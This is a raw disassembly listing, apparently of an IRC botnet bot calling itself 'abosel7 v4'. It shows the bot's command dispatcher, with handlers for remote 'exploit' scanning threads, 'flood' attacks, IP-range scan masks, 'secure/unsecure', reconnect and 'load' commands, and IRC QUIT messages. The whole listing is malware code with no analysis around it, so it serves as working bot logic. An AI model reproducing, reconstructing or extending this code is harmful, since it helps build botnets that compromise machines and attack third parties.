		pop	ecx
		jle	short loc_403FCB
		push	offset unk_42BC34
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_42BC0C
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_42BBEC
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 2680D52h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax


loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854


loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BBD4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_42BBB4
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BB94
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1


loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB70
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4041D3


loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------


loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		nop
		call	near ptr 2670E77h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BB34
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------


loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BB18
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4CB03C
		call	dword_4CAEFC
		call	sub_418359
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAFC
		jmp	short loc_404285
; ---------------------------------------------------------------------------


loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAE0


loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAC8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40438D


loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_404377
; ---------------------------------------------------------------------------


loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		call	near ptr 2670E77h
		nop
		push	eax
		push	offset unk_42BA90
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_42BA78
		call	sub_4151AC


loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_42BA74
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------


loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx


loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA54
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40448F


loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_404479
; ---------------------------------------------------------------------------


loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42BA18
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_42BA00


loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_42B9D4
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------


loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------


loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx


loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B984
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B950
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------


loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42B940
		push	offset dword_42B930
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42B924
		push	offset dword_42B914
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------


loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074


loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi


loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------


loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------


loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl


loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		call	near ptr 2670603h
		nop
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40470D


loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------


loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		call	near ptr 2670E77h
		nop
		push	eax
		push	offset dword_42B8B0
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------


loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084


loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B884
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		call	near ptr 2670603h
		nop
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_404813


loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------


loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42B844
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856


loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1


loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_42B810
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		call	near ptr 2670603h
		nop
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_404911


loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset dword_42B7D4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE


loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_42B724
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42B714
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9F0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_42B6E8
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_42B6BC
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C9F0


loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4CE758, ebx
		jz	short loc_404A4A
		push	offset dword_4CE138


loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_42B680
		jmp	loc_404AE0
; ---------------------------------------------------------------------------


loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	near ptr 71AB157Eh
		nop
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_42B640
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------


loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4CE138
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CE758, 1
		pop	ecx
		push	esi
		push	offset unk_42B614


loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------


loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B5DC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_404BE6


loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42B59C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		call	near ptr 2680D52h
		nop
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
